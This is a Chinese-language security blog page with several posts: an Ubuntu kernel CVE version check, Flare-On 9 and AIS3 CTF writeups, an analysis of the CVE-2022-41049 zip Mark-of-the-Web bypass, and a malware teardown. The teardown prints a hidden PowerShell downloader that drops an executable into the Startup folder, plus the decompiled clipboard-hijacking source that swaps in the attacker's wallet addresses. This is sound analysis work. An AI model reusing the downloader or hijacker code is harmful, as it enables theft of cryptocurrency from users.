【資安小知識】Linux Kernel 出漏洞 Ubuntu 該升級哪一版?

因為去年底出的一個新的 Kernel 漏洞 CVE-2022-47939,要幫忙檢查 Ubuntu 有沒有需要更新 Kernel,所以就寫了這篇記錄一下。

首先,這個漏洞在 mitre 的 cve 頁面 中寫了影響的範圍是 Linux kernel 5.15 through 5.19 before 5.19.2,出問題的是 ksmbd 這個 kernel module,他是在 5.15 版本被引入的,所以 5.15 之前的版本就沒事,最後是在 這個 commit 中修掉的,這個 commit 的 message 是 ksmbd: fix use-after-free bug in smb2_tree_disconect,跟在 mitre 的 cve 的敘述中寫的一樣,在頁面下方的 References 其實也可以看到這個 commit 的連結。

所以我們知道有問題的 Linux Kernel 版本是什麼,但是我要怎麼在 Ubuntu 上面看我的 Linux Kernel 是幾版,上網查一下或是問 chatgpt,其實就可以得到這個指令 uname -r,執行這個指令之後,在我的機器上給出了 5.15.0-58-generic 這樣的版本號,看起來是 5.15 版本,是在有漏洞的範圍裡面,但其實並沒有,因為這是 Ubuntu 自己 build 的版本號,並不是 Linux Kernel 的版本號,Ubuntu 的版本號的命名慣例是 <base kernel version>-<ABI number>.<upload number>-<flavour>,你會發現把剛剛的 5.15.0-58-generic 套在這個格式上看好像少了一個 upload number,我們可以用 cat /proc/version_signature 查看比較詳細的版本號,在我的機器上的結果是 Ubuntu 5.15.0-58.64-generic 5.15.74,分別是

  • base kernel version: 5.15.0
  • ABI number: 58
  • upload number: 64
  • flavour: generic
  • upstream linux kernel: 5.15.74

最後他還多給了一個 upstream linux kernel 的版本號。ABI number 指的是 kernel 本身開出來的 application binary interface 介面的版本號,如果你把 kernel 看成是一個後端 server,那他就是指你的 REST API 的接口,所以可能會跟 upload number 不同,因為可能兩個不同的 kernel 版本只是修了些 bug,沒有開新的 api,或是 api 的參數沒有變化,這時候這個 ABI number 就不會變。而 upload number 單純就是一個流水號,指從這個 5.15.0 base kernel version 長出來的第幾個版本,所以我們可以看這個號碼來分辨前後順序。

Ubuntu Secuity: CVE-2022-47939 發布的漏洞公告中,我們可以看到他有列出他們上 patch 的版本,Ubuntu 22.04 (jammy) 的是 5.15.0-53.59,我們可以直接去看 Ubuntu linux source package 中 5.15.0-53.59 版本的 Changlog,這裡我們搜尋 smb2_tree_disconect 就可以找到在這個版本的更新有納入 v5.15.61 upstream linux kernel 其中修掉了這次的 CVE-2022-47939,而我的機器是 5.15.0-58.64,是在 5.15.0-53.59 後面的,所以其實我的機器的 Linux Kernel 已經有修補掉這個漏洞了。

總結來說,在 Ubuntu 下 uname -r 得到的版本號其實不能直接對應到 Linux Kernel 的版本號,Ubuntu 本身是從 Linux 分支出來的,所以自己有一個版本號,我們這次介紹了 Ubuntu 版本號各個欄位的意思,並且找到我們的版本號其實是已經有上 patch 了,這樣之後出新的漏洞就可以知道要升級到哪個版本可以修補掉漏洞。

Read more

【Writeups】Flare-on 9

01 - Flaredle

1
2
3
4
5
6
const CORRECT_GUESS = 57;
let rightGuessString = WORDS[CORRECT_GUESS];
if (guessString === rightGuessString) {
let flag = rightGuessString + '@flare-on.com';
...
}

flag 就是 WORDS[57]

02 - Pixel Poker

1
2
3
4
if (x == 0x52414c46 % 741 && y == 0x6e4f2d45 % 641) {
# print flag
...
}

點選 (95, 313) 這個格子就會噴出 flag 如下

03 - Magic 8 Ball

LLURULDUL 方向鍵
然後在下面輸入 gimme flag pls? 就會噴出 flag 如下

04 - darn_mice

1
2
3
4
5
for (int i = 0; i < 10; i++) {
void *ptr = malloc(0x1000);
*ptr = payload[i] + input[i];
(void(*)())(ptr)();
}

每個 byte 都會被當成 1-byte shellcode 呼叫,只有全部都是 0xc3 也就是 ret 才不會 crash

flag 是 i_w0uld_l1k3_to_RETurn_this_joke@flare-on.com

05 - T8

這題給了一隻 PE 執行檔和一包 pcap

程式一開始會有個 anti-debug,判斷時間是滿月的時候才能執行
他有一個函式是在計算月亮的週期 OwO

pcap 裡面有兩個 requests 兩個 response
總之動態追一下可以發現他計算 request 內容的邏輯
基本上他就是用 RC4 加密,他產的 key 是 FO9 加上 0 到 65535 之間隨機一個數字,比如 FO91234,做 md5 的結果
所以爆搜一下就可以解出封包的內容,爆搜程式碼如下,要注意 wide string 的轉換 O_O

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import hashlib
from base64 import *
from Crypto.Cipher import ARC4

def to_wide(x):
return b''.join([bytes([i, 0]) for i in x])

def check_wide(x):
for i, j in enumerate(x):
if i % 2 == 1 and j != 0:
return False
return True

def gen_key(x):
return to_wide(hashlib.md5(to_wide(x)).hexdigest().encode())

def rc4(key, m):
return ARC4.new(key).encrypt(m)

enc_req = b64decode("ydN8BXq16RE=")
enc_res = b64decode("TdQdBRa1nxGU06dbB27E7SQ7TJ2+cd7zstLXRQcLbmh2nTvDm1p5IfT/Cu0JxShk6tHQBRWwPlo9zA1dISfslkLgGDs41WK12ibWIflqLE4Yq3OYIEnLNjwVHrjL2U4Lu3ms+HQc4nfMWXPgcOHb4fhokk93/AJd5GTuC5z+4YsmgRh1Z90yinLBKB+fmGUyagT6gon/KHmJdvAOQ8nAnl8K/0XG+8zYQbZRwgY6tHvvpfyn9OXCyuct5/cOi8KWgALvVHQWafrp8qB/JtT+t5zmnezQlp3zPL4sj2CJfcUTK5copbZCyHexVD4jJN+LezJEtrDXP1DJNg==")

for i in range(256 * 256):
key = gen_key(b'FO9' + str(i).encode())
dec_req = rc4(key, enc_req)
if check_wide(dec_req):
dec_res = rc4(key, enc_res)
break

print(dec_req)
print(dec_res)

然後解出第一個封包的內容之後,裡面的內容是用 , 分開的如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
\xe5\x07\t\x00\x03\x00\x0f\x00\r\x00%\x00\x03\x00b\x02
\x00\xdc\x07\n\x00\x06\x00\r\x00\r\x00%\x00\t\x00*\x03
\x00\xe1\x07\x0c\x00\x04\x00\x07\x00\r\x00%\x00$\x00\xe5\x00
\x00\xe0\x07\x05\x00\x05\x00\x06\x00\r\x00%\x00\x0b\x00&\x00
\x00\xe2\x07\n\x00\x01\x00\x08\x00\r\x00%\x00\x1f\x00E\x03
\x00\xe6\x07\x03\x00\x02\x00\x01\x00\r\x00%\x002\x00\xda\x00
\x00\xde\x07\x07\x00\x02\x00\x16\x00\r\x00%\x006\x00\xd1\x02
\x00\xde\x07\x05\x00\x03\x00\x0e\x00\r\x00%\x00\x01\x00\xe8\x00
\x00\xda\x07\x04\x00\x01\x00\x05\x00\r\x00%\x00:\x00\x0b\x00
\x00\xdd\x07\n\x00\x04\x00\x03\x00\r\x00%\x00\x16\x00\x16\x03
\x00\xde\x07\x01\x00\x02\x00\x0e\x00\r\x00%\x00\x10\x00\xc9\x00
\x00\xdc\x07\x0c\x00\x01\x00\n\x00\r\x00%\x000\x00\x0c\x02
\x00\xe6\x07\x02\x00\x01\x00\x1c\x00\r\x00%\x00"\x00K\x01
\x00\xe6\x07\t\x00\x05\x00\t\x00\r\x00%\x00!\x00m\x01

每行都是代表某年某月某日,然後算一下是陰曆幾號,再把那個數字對到 a-z0-9 就可以組出 flag 了,大概吧 O3O?
反正後來我覺得好麻煩,就直接把解出來的封包內容倒回去 debugger,flag 就掉出來了 O_O

flag 是 i_s33_you_m00n@flare-on.com

看 code 點我

06 - à la mode

這題乍看之下是 .NET 程式
但用 dnspy 翻了一下發現沒什麼東西
在逛 PEBear 的時候就看到了 .NET Header 裡面的 Flags 寫了 Native EntryPoint

咦?難道這是隻普通的 dll
直接抄起我的 IDA Pro 和 x64dbg
咻咻咻,一陣亂跳,看到了一些 pipe 的東西,再多翻一下就翻到某個地方長得很像是在 decode flag 的地方,還有出現 MyV0ic3 字串
難道是要 create pipe 然後傳這個字串,好像很麻煩,我直接手起刀落把 cmp 的另一個變數一樣改成 MyV0ic3,再按了幾下 step over,登登,flag 就出現在 memory 了

flag 是 M1x3d_M0dE_4_l1f3@flare-on.com

p.s. 解這題的時候剛好要出門吃飯,原本想說只是先看一下題目,沒想到 flag 就自己掉出來了xD

07 - anode

這隻程式是用 node.js 寫的,是用 nexe 這個東西打包的
用文字編輯器打開看一下就會發現檔案最後面有 js 原始碼

js 原始碼裡面有一大堆的 switch case
主要的邏輯就是把你的輸入 -> 做一連串的 add, sub, xor 的操作 -> 檢查跟某個值是不是一樣的,是的話你的輸入就是 flag

我們可以直接去改最後的 js 原始碼,只要讓整個檔案的大小不變就不會噴 error,他執行的時候應該是直接抓一個固定的 offset?
加了一行 require("a.js"),這樣我就可以直接跑我自己的 js
簡單測試了一下,發現 node.js 被改過了,random 的輸出不 random,其他一些運算也被改過
正常來說是要比對一下原版的 node.js 和這個改過的 node.js 差在哪裡
但是我覺得好麻煩,我直接用 visual studio code 的超強 replace 功能把那一大串的 add 換成 sub,sub 換成 add,然後當做字串推到一個陣列
接著把陣列倒過來,拿去 eval 就可以 flag 了 OwO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
...

/* 原本
case 1071664271:
if (Math.random() < 0.5) {
b[17] += b[0] + b[35] + b[12] + b[42] + b[14] + b[3] + 8;
b[17] &= 0xFF;
} else {
b[18] ^= (b[20] + b[23] + b[6] + b[12] + b[4] + b[25] + Math.floor(Math.random() * 256)) & 0xFF;
}
state = 175099911;
continue;
*/

// 處理過
case 1071664271:
if (Math.random() < 0.5) {
commands.push(`b[17] -= b[0] + b[35] + b[12] + b[42] + b[14] + b[3] + 8`);
commands.push(`b[17] &= 0xFF`);
} else {
commands.push(`b[18] ^= (b[20] + b[23] + b[6] + b[12] + b[4] + b[25] + ${Math.floor(Math.random() * 256))} & 0xFF`);
}
state = 175099911;
continue;

...

var b = [106, 196, 106, 178, 174, 102, 31, 91, 66, 255, 86, 196, 74, 139, 219, 166, 106, 4, 211, 68, 227, 72, 156, 38, 239, 153, 223, 225, 73, 171, 51, 4, 234, 50, 207, 82, 18, 111, 180, 212, 81, 189, 73, 76];
commands.reverse().forEach(command => eval(command));
console.log(b)

flag 是 n0t_ju5t_A_j4vaSCriP7_ch4l1eng3@flare-on.com

p.s. 雖然 flag 說 not just a javascript challenge,但是我完全把他當作 javascript 來解了,抱歉了xD

08 - backdoor

這題被大家說是全部裡面最難的,我覺得是蠻麻煩的,找不到地方偷吃步,或是其實有但我不知道xD (可以偷偷告訴我 O_O)

這隻是 .NET 的程式,dnspy 打開會看到一堆的 try except
一開始跑下去都會進到 except 裡面
因為他是在 except 裡面去建出一個 DynamicMethod,再把正確的 IL code 塞進去跑
但如果你直接把動態跑的時候看到的那段 IL code 抓下來塞回去檔案裡面,會發現還是錯的
因為他有一段是在做 dynamicILInfo.GetTokenFor,是在把外面世界的 metadata token 換成 dynamicILInfo 世界中的 metadata token,所以不能直接把那個 IL 複製出來,要複製再早一點還沒有換掉的,然後把正確的 metadata token 放上去
這邊我因為沒有找到好方法 (對 .NET 不熟 QQ),所以是用 dyspy 動態跑,手動複製出 IL code 和 metadata token,然後寫個 python script 去改原本的執行檔,最後可以正常的 decompile 所有函式

接著看到了一些 powershell command $(ping -n 1 10.10.21.201 | findstr /i ttl) -eq $null; 拿去 google 了一下就找到了這篇 APT34 targets Jordan Government using new Saitama backdoor
長得一模一樣,這題就是從這隻惡意程式改的

其中在處理不同的 task 的部分有發現一些在做比較字串的程式碼
感覺跟 flag 有關,就仔細看了一下,發現他是要依照某個順序把每一個 task 都跑過一次,就會去印 flag
他印 flag 的地方是從 PE 的 5aeb2b97 這個 section 抓資料出來,然後拿去解,中間還會跟 stacktrace 的字串攪在一起,十分的噁心
後來受不了,沒有可以偷吃步的地方,還是乖乖地寫了一個 dns server 跟程式互動,按照步驟去發 task id,執行完之後就噴出 flag 了

flag 是 W3_4re_Kn0wn_f0r_b31ng_Dyn4m1c@flare-on.com

看 code 點我

09 - encryptor

這隻是一個 Ransomware,標準的用 Symmetric Encryption 做加密,再用 Asymmetric Encryption 加密 Symmetric Encryption 的 key
很快就可以看出他有做 chacha20
但是一直找不到他用什麼 Asymmetric Encryption,一直在想是什麼複雜的加密演算法,一開始懷疑是 ECC,後來又再猜 NTRU
我看那個迴圈感覺很像是在做快速冪,在想是哪個演算法會做快速冪,不會是 RSA 吧他寫的那麼複雜,到底是哪個,等等難道真的是 RSA
後來測試一下,發現真的是 RSA,因為他在做大數的運算所以看起來很複雜,那些函式就只是在做加法乘法模運算而已 Orz

反正他就是把檔案做 chacha20 加密,加密用的 key 再用 RSA 做加密
RSA 加密之前先用 e=0x10001 去算出對應的 d,然後加密是直接 m^d % n
等於我們直接用 c^e % n 去解密就好

flag 是 R$A_$16n1n6_15_0pp0$17e_0f_3ncryp710n@flare-on.com

10 - Nur geträumt

這題是 m68k 的程式,非常古老的東西,要古董 Mac 電腦才跑得起來
不過我們只要照著提示去用 Mini vMac 就可以跑起來了
稍微互動一下就可以發現它其實就是在做 xor encryption,就是會把你輸入的 key 重複貼上直到跟被加密的內容等長,然後做 xor

所以重點就是,要輸入什麼 key?
已知最後面一定是 @flare-on.com 所以可以先解出 key 的最後 13 bytes 是 du etwas Zei
然後搭配他在程式裡面塞的一堆提示,就可以找到這首歌 NENA | 99 Luftballons [1983] [Offizielles HD Musikvideo]
google 一下他的歌詞就會發現第一句歌詞就是 key …
有幾個不是英文字母的在裡面,不過 flag 都是英文,猜一下也還好

flag 是 Dann_singe_ich_ein_Lied_fur_dich@flare-on.com

p.s. 這題最麻煩的步驟是把 encrypted flag 複製出來…

11 - The challenge that shall not be named.

這題是用 python 寫的,用 pyinstaller 打包成 exe
所以起手先用 pyinstxtractor 解出原始的 pyc (版本是 3.7.0)
然後再用 python-decompile3 解回原本的 python source code
接著就會發現他有用 pyarmor 做混淆

直接用 python 去跑解出來的 .py 檔案,會發現它噴了一個錯誤,而且有 stacktrace,位置是在本地的 crypt 函式庫
裡面有用到 linux 平台才有的東西,有點古怪
我就直接去改那個 crypt.py,把 import _crypt 註解掉,然後就會發現他去呼叫 crypt 的時候找不到 _crypt,因為我們沒有 import 他
可以直接讓他 return None,接著就又看到他去呼叫 ARC4,一樣直接改他

1
2
3
4
5
6
7
def ARC4(x):
print('arc4', x)
class A:
def encrypt(self, y):
print('arc4.encrypt', y)
return b''
return A()

然後 flag 就被我們印出來了xD

flag 是 Pyth0n_Prot3ction_tuRn3d_Up_t0_11@flare-on.com

Read more

【漏洞分析】CVE-2022-41049

11/08 Windows 的 Patch Tuesday 中修補了兩個關於 Bypass Mark-of-the-Web (MOTW) 的漏洞,分別是 CVE-2022-41049 和 CVE-2022-41091,在 Exploring ZIP Mark-of-the-Web Bypass Vulnerability (CVE-2022-41049) 這篇部落格中,有詳細的分析這個漏洞的細節,也是本篇部落格主要參考的來源

這個漏洞最早在 6 月在 twitter 上 Will Dormann 的貼文中 就有提及
並且在 10 月就有在野外觀察到這個漏洞被利用

Alternative Data Stream (ADS)

要解釋這個漏洞之前,要先說明一下什麼是 Alternative Data Stream (ADS)
ADS 是 NTFS 檔案系統的一個功能,允許一個檔案可以有多個 Stream,也就是雖然檔名是一樣的,但是透過不同的 Stream 可以存取到不同的資料
比如 test.txt 這個檔案可以有好幾種不同的 Stream

  • test.txt::$DATA
  • test.txt:Zone.Identifier
  • test.txt:Hello
  • test.txt:World

MOTW

瀏覽器會把從網路下載下來的檔案,新增一個 Zone.Identifier 的 Stream,這就是傳說中的 Mark-of-the-Web (MOTW)
我們可以用 Powershell 下指令 Get-Item <filename> -Stream * 來列出某個檔案的所有 Stream 如下圖所示

接著用 Get-Content <filename> -Stream Zone.Identifier 去印出 Zone.Identifier Stream 裡面的資料如下圖所示

可以看到 Zone.Identifier Stream 裡面存了 ZoneIdHostUrl 這些 metadata

那有 MOTW 的檔案可以做什麼?
有 MOTW 的檔案就等於給其他軟體們一個資訊,這個檔案是來自網路,像是 WORD, EXCEL, Visual Studio 等軟體以及 Windows 本身,在處理這些檔案的時候就會格外小心,並且對使用者發出額外的警告,像是如下圖的這些警告

CVE-2022-41049

背景知識都補充足夠了,那這個 CVE-2022-41049 的漏洞又是出了什麼問題
正常情況中,檔案總管 (Explorer) 在解壓縮 zip 的時候,會把 zip 檔案的 MOTW 複製到解壓縮出來的所有檔案上面
但是只要那個 zip 檔案是用某個特別的方法製作的時候,MOTW 就不會被傳遞下去,也就成功 Bypass MOTW

這個特別的製作方法,說起來也不是那麼特別,其實也是正常的 feature
只要你的檔案在壓縮的時候是 read-only 的
在解壓縮的時候,因為檔案是 read-only 的關係,所以檔案總管就無法去寫入 MOTW 到解壓縮出的檔案上面
就是這麼簡單,非常簡單就可以實作

這篇 Exploring ZIP Mark-of-the-Web Bypass Vulnerability (CVE-2022-41049) 部落格中,作者做了非常深入的調查,最後才發現只是這麼簡單的原因,原文分析的思路也推薦大家可以看看
除了 zip,其他的打包格式比如 iso, vhd, gzip 等,也是新的 bypass MOTW 的方法
整體來看,Mark-of-the-Web (MOTW) 其實不算是一個 Security Boundary,比較像是一個額外的警告功能,使用者在下載網路上的資源的時候還是要謹慎小心,多看幾眼xD


  1. https://breakdev.org/zip-motw-bug-analysis/
  2. https://www.ithome.com.tw/news/154096
Read more

【手拆 Malware】Clipboard hijacking cryptocurrency malware on tradingview.com

最近在 tradingview.com 上面看到這篇 Idea EOS - footprints of institutional money,看起來像是正常的分析趨勢走向的 Idea,但是下面留言有一個連結 mycryptorush.com/signals,說是可以得到免費的 bitcoin 和交易趨勢訊號。

點下去其實是導向 tinyurl.com/cryptorushsignals,這個短網址又是導向 https://bbuseruploads.s3.amazonaws.com/7e1f7e0b...,會下載 CryptoRushSignals.zip 下來。看起來就很可疑,明明看起來是要去一個網站,卻載了檔案下來。解壓縮該 zip 檔之後有兩個檔案 HOWTOUSE.txtCryptoRushSignals.run.lnk

HOWTOUSE.txt
1
2
Open CryptoRushSignals.run, this will open up a website were you can register.
It then automatically will open up an excel sheet with the live current signals.

純文字的說明文件,叫你執行 CryptoRushSignals.run,真的去執行之後,會跳出瀏覽器瀏覽 https://t.me/MyCryptoradar,讓你加入一個 telegram 群組,就可以收到一些指標數據的變化通知,裡面現在有 400 多人。

除了打開瀏覽器叫你加群組之外,他還秘密執行了下面這段 payload

1
"C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; Start-Process -FilePath "https://t.me/MyCryptoradar; Invoke-WebRequest -Uri "https://bitbucket.org/cryptorushh/cryptorush/downloads/pcmoni.png" -OutFile C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\pclp.exe

基本上就是去 bitbucket 下載 https://bitbucket.org/cryptorushh/cryptorush/downloads/pcmoni.png 這個 png,然後放到開機自動執行的路徑,而且這個也不是 png,他就是一隻 PE 執行檔。

稍微看一下那隻 PE 執行檔後,發現他是用 py2exe 包的,那就用 unpy2exe 拆回 pyc,再用 uncompyle6 就可以拆出原本的 python script 了。

8.61.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# uncompyle6 version 3.7.2
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15 (default, Dec 23 2019, 14:00:59)
# [GCC 4.2.1 Compatible Apple LLVM 10.0.1 (clang-1001.0.46.4)]
# Embedded file name: 8.61.py
# Compiled at: 2020-08-15 23:23:49
from __future__ import print_function
import sys
oo000 = sys.version_info[0] == 2
ii = 2048
oOOo = 7

def O0(ll_opy_):
o0O = ord(ll_opy_[(-1)])
iI11I1II1I1I = ll_opy_[:-1]
oooo = o0O % len(iI11I1II1I1I)
iIIii1IIi = iI11I1II1I1I[:oooo] + iI11I1II1I1I[oooo:]
if oo000:
o0OO00 = unicode().join([ unichr(ord(oo) - ii - (i1iII1IiiIiI1 + o0O) % oOOo) for i1iII1IiiIiI1, oo in enumerate(iIIii1IIi) ])
else:
o0OO00 = str().join([ chr(ord(oo) - ii - (i1iII1IiiIiI1 + o0O) % oOOo) for i1iII1IiiIiI1, oo in enumerate(iIIii1IIi) ])
return eval(o0OO00)


import time, re, pyperclip, subprocess
if 0:
ooOoO0O00 * IIiIiII11i
if 0:
oOo0O0Ooo * I1ii11iIi11i

def I1IiI():
while 0 < 1:
try:
o0OOO = None
if 0:
ooOo + Oo
o0OIiiIII111iI = subprocess.Popen(['C:\\windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe', 'Get-Clipboard'], stdout=subprocess.PIPE, startupinfo=IiII)
o0OOO = str(o0OIiiIII111iI.stdout.read()).strip().decode('utf-8').rstrip(u'\x00')
if o0OOO != iI1Ii11111iIi and o0OOO != i1i1II:
if re.match(O0oo0OO0, str(o0OOO)):
pyperclip.copy(iI1Ii11111iIi)
pyperclip.paste()
elif re.match(I1i1iiI1, str(o0OOO)):
pyperclip.copy(i1i1II)
pyperclip.paste()
except Exception as iiIIIII1i1iI:
print(iiIIIII1i1iI)

time.sleep(1)
if 0:
o00ooo0 / Oo00O0

return


if __name__ == O0(u'\u0829\u0862\u0863\u0872\u0867\u0869\u086f\u0861\u0862\u082b\u0805'):
i1i1II = '0x22f338FC26Ea71EC884256C29103122c4578EE27'
iI1Ii11111iIi = '14uJZuPNtdtDowpcoGBF14fX3uo57fbvvS'
O0oo0OO0 = '^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$'
I1i1iiI1 = '^(0x)?[0-9a-fA-F]{40}$'
time.sleep(15)
IiII = subprocess.STARTUPINFO()
IiII.dwFlags |= subprocess.STARTF_USESHOWWINDOW
I1IiI()
if 0:
o0oooOoO0
if 0:
IiIii1Ii1IIi / O0Oooo00.oo00 * I11
if 0:
I1111 * o0o0Oo0oooo0 / I1I1i1 * oO0 / IIIi1i1I
# okay decompiling 8.61.py.pyc

有稍微混淆過的原始碼,重新命名一下變數就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from __future__ import print_function
import time, re, pyperclip, subprocess

def main():
while True:
try:
clipboard = None
process = subprocess.Popen(['C:\\windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe', 'Get-Clipboard'], stdout=subprocess.PIPE, startupinfo=startupinfo)
clipboard = str(process.stdout.read()).strip().decode('utf-8').rstrip(u'\x00')
if clipboard != btc_address and clipboard != eth_address:
if re.match(btc_address_pattern, str(clipboard)):
pyperclip.copy(btc_address)
pyperclip.paste()
elif re.match(eth_address_pattern, str(clipboard)):
pyperclip.copy(eth_address)
pyperclip.paste()
except Exception as err:
print(err)
time.sleep(1)
return

if __name__ == '__main__':
eth_address = '0x22f338FC26Ea71EC884256C29103122c4578EE27'
btc_address = '14uJZuPNtdtDowpcoGBF14fX3uo57fbvvS'
btc_address_pattern = '^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$'
eth_address_pattern = '^(0x)?[0-9a-fA-F]{40}$'
time.sleep(15)
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
main()

他把你剪貼簿裡面符合 bitcoin 或 ethereum 地址格式的通通換成他錢包的位址。

IOC

  • 0x22f338FC26Ea71EC884256C29103122c4578EE27
  • 14uJZuPNtdtDowpcoGBF14fX3uo57fbvvS
Read more

【工具介紹】Maltego

Maltego 是用來自動化情資蒐集的工具。

基本介紹

一開始就按 Creat a new graph 新增一個工作的圖層,就可以在上面畫出關係圖。
Entities 是基本物件,有很多種類型比如 Company, Organization, Domain, Website, …,每個物件都有幾個屬性欄位,假設你拿到某個人的手機號碼,那可以從旁邊 Entity Palette 拖曳一個 Phone Number 到右邊空白處。
Transforms 就是一個可以重複使用的函式,比如已經有了手機號碼,那就去某個網站上爬手機號碼對應的國家之類的,把這個爬的步驟寫成一個 transform,就可以自動化去從已知的資料生更多相關的資料。Local Transform 是自己寫的函式,也有別人寫好的在 Transform Hub 上面。

Local Transforms

跟著官方文件 maltego docs 做就可以大概了解怎麼用 python 去寫 Local Transforms 了。

1
2
pip install maltego-trx
maltego-trx start new_project

先安裝 python 套件,再用 maltego-trx 去初始化一個 project

transforms/TaxIDToCompany.py
1
2
3
4
5
6
7
8
9
10
11
12
import json
import requests
from maltego_trx.entities import Person
from maltego_trx.transform import DiscoverableTransform

class TaxIDToCompany(DiscoverableTransform):
@classmethod
def create_entities(cls, request, response):
taxid = request.Properties['properties.taxid']
r = requests.get(f'http://company.g0v.ronny.tw/api/show/{taxid}')
result = json.loads(r.text)
response.addEntity('maltego.Company', result['data']['公司名稱'])

主要就是繼承 DiscoverableTransform 然後填寫 create_entities 這個函式,request 裡面就有執行 transform 的那個 entity 的資訊,然後這裡是用統一編號 ( TaxID ) 去找公司名稱,然後新增一個公司的 Entity。
原本沒有 TaxID 這個 Entity 要先去 New Entity Type 新增一個 TaxID。
company.g0v.ronny.tw 回傳的資訊有很多,可以把那些資訊都加進來,可是我就懶。

寫完之後要把 Local Transform 加進去,有幾個欄位要注意,

  1. Input entity type : 要填這個 transform 要對哪一種 entity 做操作
  2. Command : 我們是用 python api 所以要填 python 的 PATH,在 linux 上可以用 which python
  3. Parameters : 填 project.py local TaxIDToCompanyproject.py 是初始化 project 完會產生的腳本,local 指的就是 Local Transform,TaxIDToCompany 是你 transform 的名字,就是那個檔名的部分吧
  4. Working directory: Project 的路徑,就是要有 project.py 的那個地方

最後按下 Run 跑完 transform 之後,就會自動新增一個 Company 的 Entity。

Read more

【CTF Writeups】AIS3 pre-exam 2020

這學期修了網路攻防實習,這堂課要用 AIS3 Pre-Exam 當期末考,好喔。

攻擊腳本們在這

Misc

Piquero

這題給了一張點字的圖,只要先找到出題者用的 generator 這個,接著就一個一個對照就解出來了。

1
AIS3{I_feel_sleepy_Good_Night!!!}

Karuego

這題給了一張 png,先用 binwalk --dd=".*" Karuego.png 拉出一個 zip 檔,這個 zip 檔有加密,原本想用 fcrackzip 之類的爆破工具,但 zsteg -a Karuego.png 下去發現 LSB 有一段文字 The key is : lafire,zip 檔解開裡面有一張 Demon.png 打開就看到 flag 了。

1
AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}

Soy

這題給了一張 png,是被墨漬污染的 QR Code,我用 https://merricx.github.io/qrazybox/ 把已知的黑點白點都畫了上去就解出來了,因為大部分的 Data 區塊都沒被污染到吧,這個網站上畫 QR Code 的時候記得要畫白點,不要只畫黑點,沒畫的會是未知的灰點,我在這裡卡很久Q

1
AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

Saburo

這題要 nc 60.250.197.227 11001,沒給原始碼,連上去要輸入 flag 給他,他會輸出你幾秒後輸了

1
2
Flag: A
Haha, you lose in 24 milliseconds.

猜測是 Side Channel Attack,原始碼猜測大概是 ( 不負責任亂寫 code 如下 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import time

def compare(real_flag, user_flag):
l = len(user_flag) if len(user_flag) < len(real_flag) else len(real_flag)
for i in range(len(user_flag)):
if user_flag[i] != real_flag[i]:
return False
return i == len(user_flag) - 1

real_flag = 'AIS3{...}'
user_flag = input()

start = time.clock()
win = compare(real_flag, user_flag)
end = time.clock()

if not win:
print(f'Haha, you lose in {end - start} milliseconds.')
else:
print(f'Oh, you win. QQ')

但是很多人在連線的時候去算 cpu time 會抖的很大力,所以後來 server 應該是改成用模擬的 ( 就比較穩了 ),就是錯了就加個 random 小 noise,對了就加一個大一點的值之類的。

所以每個字都爆搜 0 - 255,然後取最大的就好了,可以每次嘗試都送個十次取平均之類的,或是把 log 記起來,之後如果爆搜所有 byte 都沒有進展的話就,回去找第二高的,會比較穩。

1
AIS3{A1r1ght_U_4r3_my_3n3nnies}

Shichirou

這題要 nc 60.250.197.227 11000,有給原始碼,給他一個 tar 檔,他幫你解開然後把解開的 guess.txt 跟 local 的 flag.txt 的 sha1 做比較,如果一樣的話就噴 flag。
tar 可以壓縮 symbolic link,自己做一個 symbolic link 指向 flag.txt 就完成了。

1
2
ln -s ../flag.txt guess.txt
tar -cf test.tar ./
1
AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}

Clara

這題給了一個 pcap 檔,一開始啥提示都沒有,後來有說是 Malware 在 monitor 電腦然後傳 encrypted data 給 C&C Server,然後傳了兩次一樣的資料,看了老半天,會發現 tcp 流量裡面有類似 AIS3 的字樣,有兩大包 tcp,一包 10 MB 另一包 27 MB,加密的話大概也只有 xor 比較正常吧,所以複製了一些部分用 xortool 分析,找到 key 是 AIS3{NO},而且看到 PNG 開頭的字樣和一些 xml 的 meta data,就可以確定假設正確也解對了(汗,既然兩次包的明文是一樣的那就把兩包做 xor 再 xor 上 AIS3{NO} 就得到另一包的 key 是 xSECRETx,接著把整包拿去做 xor 拉出圖片,圖片有好幾 MB 很大,一開始只有拉出一張圖片,某個動漫的圖,又卡了一下後,發現那包前面的部分有類似 header 的東西,他不是 8 的倍數,我一開始是直接不理他,但是猜測後面也有好幾段 header,讓 xor 沒對齊壞掉,所以我就把整段 data 暴力 shift 了幾次拿去 xor,就拉出所有照片了,其中一張有 flag,其他都垃圾,原本不知道有很多張圖片,也不知道 flag 在哪的時候還在開 stegsolvezsteg 在圖片找 flag,浪費很多時間。
